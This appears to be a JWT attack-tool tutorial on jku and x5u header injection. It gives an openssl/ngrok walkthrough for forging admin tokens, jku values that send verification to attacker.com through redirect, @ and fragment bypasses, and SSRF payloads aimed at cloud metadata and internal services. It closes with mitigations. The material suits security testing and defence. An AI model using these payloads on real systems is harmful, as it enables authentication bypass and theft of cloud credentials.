The JWK Set URL
RFC 7515 §4.1.2 defines the jku (JWK Set URL) header parameter as a URI that refers to a resource for a set of JSON-encoded public keys, one of which corresponds to the key used to sign the JWT. The server fetches this URL to retrieve the public key for verification - a server-side request triggered by a value in the attacker-controlled token header.
The attack is conceptually simple: point jku at an attacker-controlled endpoint that returns a JWKS containing the attacker's public key. The server fetches the JWKS, finds the attacker's key, and uses it to verify the forged token - which was signed by the corresponding private key. Verification succeeds.
The JWKS format
{
"keys": [
{
"kty": "RSA",
"use": "sig",
"alg": "RS256",
"kid": "attacker-2024",
"n": "sdfG7kPqoK8zRx4s...", // attacker's public modulus (base64url, no padding)
"e": "AQAB" // 65537 in base64url
}
]
}JWT Arsenal generates this file automatically after keypair generation. Host it at any publicly accessible HTTPS URL, then set jkuto that URL in the forged token's header.
Full attack walkthrough
# Step 1: Generate an RSA-2048 keypair (JWT Arsenal or openssl)
openssl genrsa -out attacker.key 2048
openssl rsa -in attacker.key -pubout -out attacker.pub
# Step 2: Build the JWKS file (use JWT Arsenal's JKU page - downloads it)
# Or convert manually: n and e are the base64url-encoded modulus and exponent
# Step 3: Host the JWKS
python3 -m http.server 8080 &
# Expose with ngrok for a public URL:
ngrok http 8080
# → https://abc123.ngrok-free.app
# Step 4: Forge the JWT
# Header: {"alg":"RS256","jku":"https://abc123.ngrok-free.app/jwks.json","kid":"attacker-2024"}
# Payload: {"sub":"admin","role":"superuser","exp":9999999999}
# Sign with attacker.key
# Step 5: Send the forged token - server fetches your JWKS, verifies your signature → bypassDomain bypass techniques
Many implementations attempt to restrict valid jku domains. A common but ineffective pattern is checking whether the URL starts withor contains a trusted domain string. Attackers have a catalogue of bypasses:
1. Open redirect
# Server checks: jku.startsWith("https://trusted.example.com")
# Target has an open redirect at /redirect?url=...
jku = "https://trusted.example.com/redirect?url=https://attacker.com/jwks.json"
# → startsWith check passes
# → server follows redirect to attacker.com
# → fetches attacker JWKS2. URL @ confusion
# RFC 3986 allows credentials before @ in a URL:
# https://user:password@host/path
# Some parsers read "trusted.com" as the username, "attacker.com" as the host
jku = "https://trusted.example.com@attacker.com/jwks.json"
# → string contains "trusted.example.com" → allowlist check passes
# → browser/http client resolves host as "attacker.com"3. URL fragment / query tricks
# Fragment (#) is ignored by the server but may fool the string check:
jku = "https://attacker.com/jwks.json#trusted.example.com"
# Query parameter confusion:
jku = "https://attacker.com/jwks.json?host=trusted.example.com"4. Subdomain takeover
If the server validates that the jku host ends with .trusted.example.com, a taken-over subdomain (expired-cname.trusted.example.com) passes validation. Subdomain takeovers on cloud providers (Azure, AWS, GitHub Pages) are regularly discovered via tools like subjack and nuclei.
5. SSRF pivot
The server-side HTTP request to fetch the JWKS can be redirected to internal network resources:
# AWS IMDS (IMDSv1 - no session token required)
jku = "http://169.254.169.254/latest/meta-data/"
# GCP metadata server
jku = "http://metadata.google.internal/computeMetadata/v1/"
# Internal Kubernetes API server
jku = "https://kubernetes.default.svc/api/v1/"
# Internal Redis (non-HTTP response → parse error, but confirms SSRF)
jku = "http://internal-redis:6379/"Hosting options for the JWKS
- ngrok / Cloudflare Tunnel - expose localhost in seconds; HTTPS included
- GitHub Gist (raw) - static HTTPS hosting, no server required; click "Raw" for a direct URL without redirects
- Pastebin raw - similar to Gist; check that the raw URL doesn't use JS-rendered content
- requestbin / webhook.site - logs the incoming request, useful to confirm SSRF/fetch happens
- Burp Collaborator - confirms server-side DNS/HTTP requests for out-of-band validation
- OAuth 2.0 and OIDC libraries that support dynamic key discovery - check if
jkuis accepted and fetched without a domain allowlist - Identity providers that validate the domain but not the full path - an open redirect on the trusted domain can be enough to bypass the check
- Any server-side
jkufetch is also an SSRF vector: AWS IMDS (169.254.169.254), internal APIs, and metadata endpoints are common pivot targets - B2B SaaS with per-tenant key endpoints - tenant isolation logic often introduces
jkufetches without strict origin validation
x5u - the X.509 certificate variant
RFC 7515 §4.1.5 defines x5u (X.509 URL) as the certificate equivalent of jku. Instead of pointing to a JWKS JSON file, it points to a URL serving an X.509 certificate chain in PEM format. The server fetches the certificates, extracts the public key from the first one, and uses it for verification. The attack is mechanically identical - only the hosted file format changes.
# Step 1: Generate keypair and self-signed certificate
openssl genrsa -out attacker.key 2048
openssl req -new -x509 -key attacker.key -out attacker.crt -days 365 \
-subj "/CN=attacker"
# Step 2: Host the certificate (PEM format)
python3 -m http.server 8080 &
ngrok http 8080
# → https://abc123.ngrok-free.app/attacker.crt
# Step 3: Forge the JWT
# Header: {"alg":"RS256","x5u":"https://abc123.ngrok-free.app/attacker.crt"}
# Sign with attacker.key - server fetches cert, extracts public key, verifies → bypassAll the domain bypass techniques that apply to jku (open redirects, @ confusion, fragment tricks, subdomain takeover) apply equally to x5u. The SSRF vector is also present: the server makes an outbound HTTP request to whatever URL the attacker specifies.
Mitigations
- Maintain a server-side allowlist of trusted JWKS URLs - pre-configured, not derived from the token
- Perform exact URL matching, not prefix/contains matching
- Disable following of HTTP redirects when fetching JWKS
- Reject tokens containing
jkuorx5uheaders unless explicitly required - If
jkuis required, pin the expected URL in configuration and reject any other value - Cache JWKS responses server-side with appropriate TTL - prevents real-time SSRF probing